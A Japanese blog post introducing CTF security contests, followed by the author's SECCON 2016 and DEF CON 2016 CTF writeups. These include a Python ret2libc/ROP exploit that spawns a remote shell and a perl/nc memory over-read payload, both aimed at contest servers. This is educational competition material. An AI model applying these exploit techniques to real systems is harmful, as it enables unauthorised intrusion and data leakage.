何を書こうかと最後まで悩んで,最終的には今自分がハマっている CTF についての紹介をしたいと思います.

CTF とは

CTF(Capture The Flag) とは,コンピュータセキュリティ技術を競うコンテストです.
CTF は大きく分けると, Attack & DefenceJeopardy と呼ばれる2つの種類があります.

Attack & Defence

Attack & Defence は,チームごとにサーバが与えられ,自分たちのサーバを守りながら,
相手のサーバの脆弱性をついて情報を奪ったり,ファイルを書き込んだりして点数を競います.
自分はこちらには参加したことがないので詳しくはないです….

Attack & Defence と少し似たものとしては Hardening というものがあります.
こちらも同様に,チームごとにサーバが与えられ,自分たちのサーバをひたすら守ります.
運営から8時間攻撃を受け続けながら,与えられたサービスを継続し続ける,というものです.
他チームに攻撃することはできず,ひたすら自分のチームのサーバを堅牢化(Hardening)します.
毎年2回沖縄で開催されているので,興味のある方は参加されてみてはどうでしょうか.
自分は,MINI Hardening と呼ばれる,1時間程度のまさしくミニなものに参加しました.
参加記録は以下の記事に書いたので興味のある方はご覧ください.
yuta1024.hateblo.jp

また,実は今年の夏に本家 Hardening にも応募し通ったので参加しました.
参加記録を書こうと思ったいたのですが,忙しく書く時間がないまま細かい記憶を失ってしまいました.
また,参加できたら今度こそ書きたい,と思っています.

Jeopardy

Jeopardy は,クイズ形式で問題が与えられその問題を解くとフラグを得ることができ,
回答サーバにそのフラグを送信すると点数を得れる,という形式です.
自分がよく参加しているのはこちらになります.
Online でよくコンテストが開催されているので参加しやすいという特徴もあります.

以下のサイトに今後のコンテストや過去のコンテストなどの情報がまとまっています.
ctftime.org

Jeopardy では,様々な問題がありジャンル分けされています.
代表的なジャンルについて簡単に私見を交えながら紹介したいと思います.
ジャンル内での代表的な問題を取り上げているので,同じジャンルでも少し異なる問題もあります.

Web

取っ付き易い反面,取っ掛かりがさっぱりわからなくて解けないことも多いジャンル.
XSSSQL Injection などが題材になることも多いです.
有名どころの脆弱性なども出題されることがあるので,
世の中のトレンド?的なものを日々収集しているととっかかりになることもあります.

Forensics

画像やディスクイメージなどに隠されたフラグを見つける問題です.
最近は Network もこのジャンルに吸収されつつある?ような感じで,
pcap などを解析もこのジャンルに含まれることがあります.

Crypto

暗号系の問題が出題され,復号することでフラグを得ます.
数学的知識なども必要でなかなか難しいジャンルです.

Reversing

WindowsLinux の実行ファイルを解析し,内部に隠されたフラグを取得するという問題です.
バイナリ力が必要となります. Web などに比べると取っ付きにくい印象があります.

Pwn

Reversing と似ていて実行ファイルを解析するのですが,その実行ファイルは運営側のサーバで起動しています.
そのため解析しバッファオーバーフローなどの脆弱性を見つけた後に,
exploit code を書きサーバに侵入することでフラグを得ることができます.
Reversing 同様,取っ付きにくい問題ですが,最近は pwn の問題が多いコンテストが多い印象を受けます.

コンテスト

初めてだとどのコンテストに参加して良いかわからない,ということも多いと思います.
が,自分もよくわかっていません.
とはいえ有名どころなどもあるのでそういったコンテストを紹介します.

DEF CON CTF

DEF CON と呼ばれるセキュリティカンファレンスにて毎年開催されるイベントの一つです.
予選は Online なので誰でも参加可能です.
しかし,最近の予選問題は Pwn まみれで binary con とか言われていたりします.
今年の予選の writeup を書いているので興味のある方はご覧ください.
yuta1024.hateblo.jp

SECCON CTF

国内で開催されているセキュリティコンテストです.予選は Online で誰でも参加可能です.
決勝はオンサイトで行われており競技内容は Attack & Defence なようです.
DEF CON CTF 同様に今年の予選の writeup を書いているので興味のある方はご覧ください.
yuta1024.hateblo.jp

CSAW CTF

難易度的にもほどほど(難しい問題は難しいですが)で比較的参加しやすい CTF だと思います.
毎年出ようと思って出れていない気がするのはなんでだろう….

Google CTF

Google 主催の CTF で今年から始まりました.来年があるかはわかりません.
内容は Android や Go など Google が開発したものが題材になっているものが多かったです.
こちらも参加した writeup を書いているので興味のある方はご覧ください.
yuta1024.hateblo.jp

IceCTF

個人的には難易度もほどほどで参加しやすかったような記憶があるコンテスト.
問題のジャンルも広くて,初めてでも手が出る問題も多いかも.

おわりに

さて,今回は CTF について紹介してみました.
うまく紹介できた気はまったくしませんが,これを機に興味を持たれた方は是非参加してみてください.
CTF の魅力はたくさんあると思いますが,自分が思う魅力は様々なことを問題を解きながら学ぶことができるというところです.
まだまだ自分も勉強が足りないので,来年も頑張っていきたいと思っています.

それでは皆様,メリークリスマス!そして,良いお年を.

SECCON 2016 Online writeup

SECCON 2016 Online writeup

yharima チームで参加.結果は 500 pts 145 th でした.
今回はとても難しかった….まだまだ力不足を実感しました.頑張らなければ.
自分は2問 + 1問は手伝いという感じでした.

その手伝ったりしたメンバーのブログもおいておきます.
SECCON 2016 Online CTF Writeup | にろきのメモ帳

Vigenere

ヴィジュネル暗号で暗号化された文章を復号する問題.
key の長さと plain の一部および cipher のすべて,そして md5(plain) が与えられる.
ひとまずヴィジュネル暗号を Wikipedia で学習したあと復号していく.
SECCON{ までは plain が分かっているので key の先頭7文字がわかる.
あと md5(plain) が与えられているので残り key の末尾5文字を総当りで調べて md5 が一致するようにすれば良い.
最初は適当に手を抜いてコマンドの md5 を shell 経由で叩いていたけどおそすぎたので,
cpp で書き直した. md5 自体は適当にググってもってきたライブラリを使った.
クソみたいなコードは以下.

#include <iostream>
#include <string>
#include <vector>
#include "md5.h"
using namespace std;

int c2i(char c) {
    if (c == '{') {
        return 26;
    }
    if (c == '}') {
        return 27;
    }
    return c - 'A';
}

char i2c(int n) {
    if (n == 26) {
        return '{';
    }
    if (n == 27) {
        return '}';
    }
    return 'A' + n;
}

void solve(string& key, string& cipher, const vector<string>& v) {
    string plain(cipher.size(), '?');
    for (unsigned int i = 0; i < cipher.size(); ++i) {
        const int kk = i % key.size();
        if (key[kk] == '?') {
            continue;
        }

        const int y = c2i(key[kk]);
        for (int j = 0; j < v[y].size(); ++j) {
            if (v[y][j] == cipher[i]) {
                plain[i] = i2c(j);
                break;
            }
        }
    }

    if (md5(plain) == "f528a6ab914c1ecf856a1d93103948fe") {
        cout << plain << endl;
    }
}


int main() {
    string key = "VIGENER";
    string cipher = "LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ";

    vector<string> v;
    v.push_back("ABCDEFGHIJKLMNOPQRSTUVWXYZ{}");
    v.push_back("BCDEFGHIJKLMNOPQRSTUVWXYZ{}A");
    v.push_back("CDEFGHIJKLMNOPQRSTUVWXYZ{}AB");
    v.push_back("DEFGHIJKLMNOPQRSTUVWXYZ{}ABC");
    v.push_back("EFGHIJKLMNOPQRSTUVWXYZ{}ABCD");
    v.push_back("FGHIJKLMNOPQRSTUVWXYZ{}ABCDE");
    v.push_back("GHIJKLMNOPQRSTUVWXYZ{}ABCDEF");
    v.push_back("HIJKLMNOPQRSTUVWXYZ{}ABCDEFG");
    v.push_back("IJKLMNOPQRSTUVWXYZ{}ABCDEFGH");
    v.push_back("JKLMNOPQRSTUVWXYZ{}ABCDEFGHI");
    v.push_back("KLMNOPQRSTUVWXYZ{}ABCDEFGHIJ");
    v.push_back("LMNOPQRSTUVWXYZ{}ABCDEFGHIJK");
    v.push_back("MNOPQRSTUVWXYZ{}ABCDEFGHIJKL");
    v.push_back("NOPQRSTUVWXYZ{}ABCDEFGHIJKLM");
    v.push_back("OPQRSTUVWXYZ{}ABCDEFGHIJKLMN");
    v.push_back("PQRSTUVWXYZ{}ABCDEFGHIJKLMNO");
    v.push_back("QRSTUVWXYZ{}ABCDEFGHIJKLMNOP");
    v.push_back("RSTUVWXYZ{}ABCDEFGHIJKLMNOPQ");
    v.push_back("STUVWXYZ{}ABCDEFGHIJKLMNOPQR");
    v.push_back("TUVWXYZ{}ABCDEFGHIJKLMNOPQRS");
    v.push_back("UVWXYZ{}ABCDEFGHIJKLMNOPQRST");
    v.push_back("VWXYZ{}ABCDEFGHIJKLMNOPQRSTU");
    v.push_back("WXYZ{}ABCDEFGHIJKLMNOPQRSTUV");
    v.push_back("XYZ{}ABCDEFGHIJKLMNOPQRSTUVW");
    v.push_back("YZ{}ABCDEFGHIJKLMNOPQRSTUVWX");
    v.push_back("Z{}ABCDEFGHIJKLMNOPQRSTUVWXY");
    v.push_back("{}ABCDEFGHIJKLMNOPQRSTUVWXYZ");
    v.push_back("}ABCDEFGHIJKLMNOPQRSTUVWXYZ{");

    for (int i = 0; i < v[0].size(); ++i) {
        for (int j = 0; j < v[0].size(); ++j) {
            for (int k = 0; k < v[0].size(); ++k) {
                for (int l = 0; l < v[0].size(); ++l) {
                    for (int m = 0; m < v[0].size(); ++m) {
                        string a = key + v[0][i] + v[0][j] + v[0][k] + v[0][l] + v[0][m];
                        solve(a, cipher, v);
                    }
                }
            }
        }
    }
    return 0;
}

cheer msg

objdump したり gdb で動かしたり,チームメンバーと相談したりと色々調べていると,
どうやら最初の Message Length に負数を入れると esp を操作することができ,
message 関数内に入った後の入力で main 関数からの戻りアドレスを任意のものに書き換えれることが判明.
しかも, main 関数には stack_chk_fail がないのでそのまま ROP につなげることができる. ここまでわかれば,1回目はスタックを以下のように積んで got を leak させる.

------------------------
printf@plt のアドレス
------------------------
main 関数のアドレス
------------------------
書式指定文字列(今回は `Message : %s` の一部を利用)
------------------------
setbuf@plt が指している GOT アドレス
------------------------

ここで leak した GOT のアドレスから libc の base アドレスがわかるので,
問題で配布されている libc から以下のように setbuf, system, /bin/sh のアドレスを得る.

yuta1024@yharima:~$ strings -a -tx libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep "sh$"
   e45b inet6_opt_finish
   f397 _IO_wdefault_finish
   f97b _IO_fflush
  117fe _IO_file_finish
  11cf9 bdflush
  1214b tcflush
  123fd _IO_default_finish
 15df25 Trailing backslash
 15e3f8 sys/net/ash
 16084c /bin/sh
 1627b0 /bin/csh
 1ab831 .gnu.hash

yuta1024@yharima:~$ nm -D libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep system
00040310 T __libc_system
001193c0 T svcerr_systemerr
00040310 W system

yuta1024@yharima:~$ nm -D libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368 | grep setbuf
0006de50 T _IO_file_setbuf
001278a0 T _IO_file_setbuf
00065d80 T _IO_setbuffer
00067b20 T setbuf
00065d80 W setbuffer

libc の base アドレスは, leak した setbuf の GOT - 0x00067b20 で求まるので,
求めた libc の base アドレスにそれぞれ上記で得たアドレスを加算してあげればそれぞれのアドレスが求まる.
あとは, leak 後に再度実行するようにした main 関数で同様にスタックを以下のように積んでシェルを起動する.

------------------------
system 関数のアドレス
------------------------
AAAA(なんでも良い)
------------------------
/bin/sh
------------------------

あとは python のコードに書き下せば良い.
とても馬鹿なことに libc が配布されているのに libcdb で検索したアドレスを使ったせいで,
1時間くらいシェルがあがらねー,とかいうことを言っていた.反省.

$ python cheer.py
setbuf: 0xf759db20
libc_base: 0xf7536000
system_got: 0xf7576310
binsh_addr: 0xf769684c
[*] send -112
[*] recv
[*] send exploit code
[*] recv

Thank you BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBcW�AAAALhi�!
Message :

===== get shell!!!! =====
ls -l
total 16
-rwxr-xr-x 1 root cheer_msg 7701 Dec  3 17:06 cheer_msg
-rw-r--r-- 1 root cheer_msg   25 Dec  5 00:01 flag.txt
-rwxr-xr-x 1 root cheer_msg   34 Dec  4 23:20 run.sh
cat flag.txt
SECCON{N40.T_15_ju571c3}

書いたクソみたいなコードは以下.

import sys

import socket
import struct
import telnetlib

def p(p):
  return struct.pack('<I', p)

def u(p):
  return struct.unpack('<I', p)[0]

def interact(s):
  print "===== get shell!!!! ====="
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('cheermsg.pwn.seccon.jp', 30527))

msg = s.recv(1024)
s.send("-112\n");
msg =  s.recv(1024)

buf = 'A' * 32
buf += p(0x08048430)
buf += p(0x080485ca)
buf += p(0x08048890)
buf += p(0x0804a00c)

s.send(buf + "\n")

msg = s.recv(1024)
msg = s.recv(1024)

setbuf_got = u(msg[78:82])
libc_base = setbuf_got - 0x00067b20
system_got = libc_base + 0x00040310
binsh_addr = libc_base + 0x0016084c

print 'setbuf: 0x%x' % setbuf_got
print 'libc_base: 0x%x' % libc_base
print 'system_got: 0x%x' % system_got
print 'binsh_addr: 0x%x' % binsh_addr


print '[*] send -112'
s.send("-112\n");

print '[*] recv'
s.recv(1024)
s.recv(1024)

print '[*] send exploit code'
buf = 'B' * 32
buf += p(system_got)
buf += 'AAAA'
buf += p(binsh_addr)
s.send(buf + "\n")

print '[*] recv'
print s.recv(1024)

interact(s)

DEF CON CTF 2016 writeup

DEF CON CTF 2016 writeup

去年は 0 完を達成した DEF CON.
今年は 1 完以上を目指してなんとか達成できたので,writeup を書くことにする.

xkcd

64 bit バイナリ.おととし話題になった openssl の Heartbleed が元ネタっぽいらしい.
なんか 4 コマ的なものがチームのチャットに貼られてた.
xkcd: Heartbleed Explanation

とりあえずローカルで動かしてみる.

$ ./xkcd
Could not open the flag.

どうやらフラグファイルがないと起動できらしい.
strace を使ってシステムコールをみてみる.

$ strace ./xkcd
execve("./xkcd", ["./xkcd"], [/* 24 vars */]) = 0
uname({sys="Linux", node="centos6-x86_64.lab.yharima.club", ...}) = 0
brk(0)                                  = 0x1cc8000
brk(0x1cc91c0)                          = 0x1cc91c0
arch_prctl(ARCH_SET_FS, 0x1cc8880)      = 0
readlink("/proc/self/exe", "/home/yuta1024/DEFCON/xkcd", 4096) = 26
brk(0x1cea1c0)                          = 0x1cea1c0
brk(0x1ceb000)                          = 0x1ceb000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("flag", O_RDONLY)                  = -1 ENOENT (No such file or directory)
write(1, "Could not open the flag.", 24Could not open the flag.) = 24
write(1, "\n", 1
)                       = 1
exit_group(-1)                          = ?
+++ exited with 255 +++

flag ファイルがあれば良いらしいのでとりあえず適当に yharima とか書いて置いておく.
もう一度起動してみる.

$ ./xkcd
A
MALFORMED REQUEST

適当に A と入力するとリクエストが正しくないらしい.
ここまでくるとどうしようもないので gdb で動かしながらどのような入力を取ればいいかを追っていく.

   0x0000000000400fb9 <+91>:   mov    esi,0x487de4
   0x0000000000400fbe <+96>:  mov    edi,0x487de6
   0x0000000000400fc3 <+101>: call   0x407d80 <fopen64>
   0x0000000000400fc8 <+106>: mov    QWORD PTR [rbp-0x18],rax
   0x0000000000400fcc <+110>: cmp    QWORD PTR [rbp-0x18],0x0
   0x0000000000400fd1 <+115>: jne    0x400fe7 <main+137>
   0x0000000000400fd3 <+117>: mov    edi,0x487deb
   0x0000000000400fd8 <+122>: call   0x408260 <puts>
   0x0000000000400fdd <+127>: mov    eax,0xffffffff
   0x0000000000400fe2 <+132>: jmp    0x401177 <main+537>
   0x0000000000400fe7 <+137>: mov    rax,QWORD PTR [rbp-0x18]
   0x0000000000400feb <+141>: mov    rcx,rax
   0x0000000000400fee <+144>: mov    edx,0x100
   0x0000000000400ff3 <+149>: mov    esi,0x1
   0x0000000000400ff8 <+154>: mov    edi,0x6b7540
   0x0000000000400ffd <+159>: call   0x407d90 <fread>

flag を open している部分.
0x0000000000400fd1 で open できたら 0x0000000000400fe7 に飛んでいて,
open に失敗したら 0x487deb = "Could not open the flag." を出力して終了している.
0x0000000000400fe7 の飛び先では,フラグの内容を 0x6b7540 に読み込んでいる.
その後,fgetln があって,ユーザの入力を取っていて,続いて strtok を呼んでいる.

   0x000000000040101f <+193>:  mov    QWORD PTR [rbp-0x20],rax
   0x0000000000401023 <+197>: mov    rax,QWORD PTR [rbp-0x20]
   0x0000000000401027 <+201>: mov    esi,0x487e04
   0x000000000040102c <+206>: mov    rdi,rax
   0x000000000040102f <+209>: mov    eax,0x0
   0x0000000000401034 <+214>: call   0x4196a0 <strtok>
   0x0000000000401039 <+219>: cdqe
   0x000000000040103b <+221>: mov    QWORD PTR [rbp-0x28],rax
   0x000000000040103f <+225>: mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000401043 <+229>: mov    esi,0x487e06
   0x0000000000401048 <+234>: mov    rdi,rax
   0x000000000040104b <+237>: call   0x4002d0
   0x0000000000401050 <+242>: test   eax,eax
   0x0000000000401052 <+244>: je     0x401068 <main+266>

入力文字列を 0x487e04 = "?" を使って token を分割していて,
分割して結果を 0x487e06 = "SERVER, ARE YOU STILL THERE" と比較していて一致しないなら終了する,
という感じっぽい( 0x4002d0 を詳しく読んでないが動作的にはそうっぽかった).
ということは,入力としてはこの時点で SERVER, ARE YOU STILL THERE? が必要.
同様に同じような処理が続いて,文字列を組み立てていくと,
SERVER, ARE YOU STILL THERE? IF SO, REPLY "POTATO" (6 LETTERS) 的な文章になる.
# REPLY" の間にスペースがなくて随分はまっていたがチームメンバーが気づいてくれた.

これだけでは,何も意味がなくてどうやって flag を取得するか,という部分で随分悩んだ.
4コマのように,6 LETTERS としている部分を " で囲んだ文字列より長いものを入れてみても,

$ ./xkcd
SERVER, ARE YOU STILL THERE? IF SO, REPLY "POTATO" (100 LETTERS)
NICE TRY

となり,終了してしまいリークできない.
実際に逆汗結果を読んでみると,

   0x0000000000401145 <+487>:  mov    edi,0x6b7340
   0x000000000040114a <+492>: call   0x417280 <strlen>
   0x000000000040114f <+497>: cmp    rbx,rax
   0x0000000000401152 <+500>: jbe    0x401168 <main+522>
   0x0000000000401154 <+502>: mov    edi,0x487e54
   0x0000000000401159 <+507>: call   0x408260 <puts>
   0x000000000040115e <+512>: mov    edi,0xffffffff
   0x0000000000401163 <+517>: call   0x406c40 <exit>
   0x0000000000401168 <+522>: mov    edi,0x6b7340
   0x000000000040116d <+527>: call   0x408260 <puts>

となっていて 0x6b7340" で囲まれた部分の文字列が memcpy されていて, その文字列の長さを strlen していて, rbx と比較し,より小さく or 等しければ,
その文字列を表示して再度入力待ちし,そうでなければ NICE TRY を出力して終了する.
ここでの rbx は, %d LETTERS" で sscanf した結果が入ってる.
つまり, (100 LETTERS) のときは, rbx = 100 となっている.

全然わからん,となっていたがなんで memcpy しているんだろう? と思ってそのあたりを読み進めていると,

   0x00000000004010ba <+348>:  call   0x4196a0 <strtok>
   0x00000000004010bf <+353>: cdqe
   0x00000000004010c1 <+355>: mov    QWORD PTR [rbp-0x28],rax
   0x00000000004010c5 <+359>: mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004010c9 <+363>: mov    rdi,rax
   0x00000000004010cc <+366>: call   0x417280 <strlen>
   0x00000000004010d1 <+371>: mov    rdx,rax
   0x00000000004010d4 <+374>: mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004010d8 <+378>: mov    rsi,rax
   0x00000000004010db <+381>: mov    edi,0x6b7340
   0x00000000004010e0 <+386>: call   0x41fce0 <memcpy>

" で囲まれている範囲の文字をとってきて, strlen で長さを調べ,0x6b7340 に memcpy している.
0x7b7340 ってなんぞ? っとなって readelf -s してみた.

$ readelf -s ./xkcd | grep 6b7340
  1807: 00000000006b7340   768 OBJECT  GLOBAL DEFAULT   24 globals

グローバル変数っぽい.なんか同じようなアドレスをどっかでみたような…?

   0x0000000000400fb9 <+91>:   mov    esi,0x487de4
   0x0000000000400fbe <+96>:  mov    edi,0x487de6
   0x0000000000400fc3 <+101>: call   0x407d80 <fopen64>
   0x0000000000400fc8 <+106>: mov    QWORD PTR [rbp-0x18],rax
   0x0000000000400fcc <+110>: cmp    QWORD PTR [rbp-0x18],0x0
   0x0000000000400fd1 <+115>: jne    0x400fe7 <main+137>
   0x0000000000400fd3 <+117>: mov    edi,0x487deb
   0x0000000000400fd8 <+122>: call   0x408260 <puts>
   0x0000000000400fdd <+127>: mov    eax,0xffffffff
   0x0000000000400fe2 <+132>: jmp    0x401177 <main+537>
   0x0000000000400fe7 <+137>: mov    rax,QWORD PTR [rbp-0x18]
   0x0000000000400feb <+141>: mov    rcx,rax
   0x0000000000400fee <+144>: mov    edx,0x100
   0x0000000000400ff3 <+149>: mov    esi,0x1
   0x0000000000400ff8 <+154>: mov    edi,0x6b7540
   0x0000000000400ffd <+159>: call   0x407d90 <fread>

フラグが入ってるのが, 0x6b7540 で, memcpy で入力した文字列が入ってるのが 0x6b7340
memcpy は末尾に \0 を付与しないので, 512 byte 書き込んだらフラグと文字が繋がるのでは? # ボケてたのかチームチャットでは 320 byte とかいってしまい, 512 byte だろ,って突っ込まれたw というわけでローカルで " でくくられている範囲に 512 文字いれて,
LETTERS の部分は 自分が書いたフラグの長さである 7文字たして 519 文字としてみると…,

$ perl -e 'print "SERVER, ARE YOU STILL THERE? IF SO, REPLY \"" . A x 512 . "\" (519 LETTERS)"' | ./xkcd
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyharima
セグメンテーション違反です

キター!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
サーバに対して適当に文字数をいじりながらやってみると…

$ perl -e 'print "SERVER, ARE YOU STILL THERE? IF SO, REPLY \"" . A x 512 . "\" (540 LETTERS)"' | nc xkcd_be4bf26fcb93f9ab8aa193efaad31c3b.quals.shallweplayaga.me 1354
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAThe flag is: bl33ding h34rt5

というわけで, bl33ding h34rt5 がフラグとして取れた!

上記のような考察を書いて 320byte だとかいって検証している間に,
メンバーに先にフラグを奪取されたのはいい思い出. f:id:yharima:20160523232605p:plain